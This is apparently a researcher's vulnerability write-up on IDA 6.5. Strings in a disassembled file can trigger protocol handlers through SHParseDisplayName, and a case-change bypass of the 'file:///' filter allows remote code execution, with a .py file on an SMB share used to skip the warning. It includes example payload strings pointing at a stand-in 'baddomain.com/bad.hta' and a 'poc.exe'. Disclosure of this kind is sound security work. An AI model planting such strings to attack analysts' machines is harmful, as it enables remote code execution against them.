IDA text Execution

Update: some didnt like the fact a warning was spawned for execution. Since IDA users have python installed, a .py file can be used to bypass the dialog and run straight off the SMB share. In this case, the link is crafted to encourage a highlight for copy/paste. Be careful

 

When playing with IDA 6.5, I noticed it treating strings strangely. It would actually respect protocol handlers put on them in certain cases. A simple string of

“blah http://google.com”

when viewed in the disassembler would launch a webpage to google.com if double clicked on in IDA View  (used for string highlighting). The “blah” is necessary for the string to be treated as a protocoled command by IDA (“blah” could be any string, just needs to be a string before our URL). I debug IDA to find where this protocol handler is being processed, which I assumed was MkParseDisplayName (https://msdn.microsoft.com/en-us/library/windows/desktop/ms691253(v=vs.85).aspx) or something similar.

Debugging a bit, I found this was handled by the SHParseDisplayName API (https://msdn.microsoft.com/en-us/library/windows/desktop/bb762236(v=vs.85).aspx). I figured this would be simple and get straight to code execution with “blah htafile:baddomain.com/bad.hta”.

It seems this protocol was ignored (among several other common ones). I did notice that the “file:” protocol worked, although the  “file:///” would be stripped out before being passed to SHParseDisplayName, making my string of

“blah file:///test.com/poc.exe”

…becomes

“/test.com/poc.exe”

before being passed to SHParseDisplayName. This is a problem since we loose our ability to instruct Windows how to treat this string (as a protocoled command). I tried a few other techniques, but there simply was not a way around the fact it leaves a prepended ‘/’ character. Even when trying “file:///file:///test.com/poc.exe”, I just get “/file:///test.com/poc.exe” which is an invalid protocol of course.

It turned out to be simple, with a case change. This effectively bypassed the filter, which I didn’t even try because I thought surely it wouldn’t work…but it did, as we see the string argument to SHParseDisplayName.

Now when string is double clicked, this will be interpreted to execute (depending on file extension) meaning remote code execution can occur: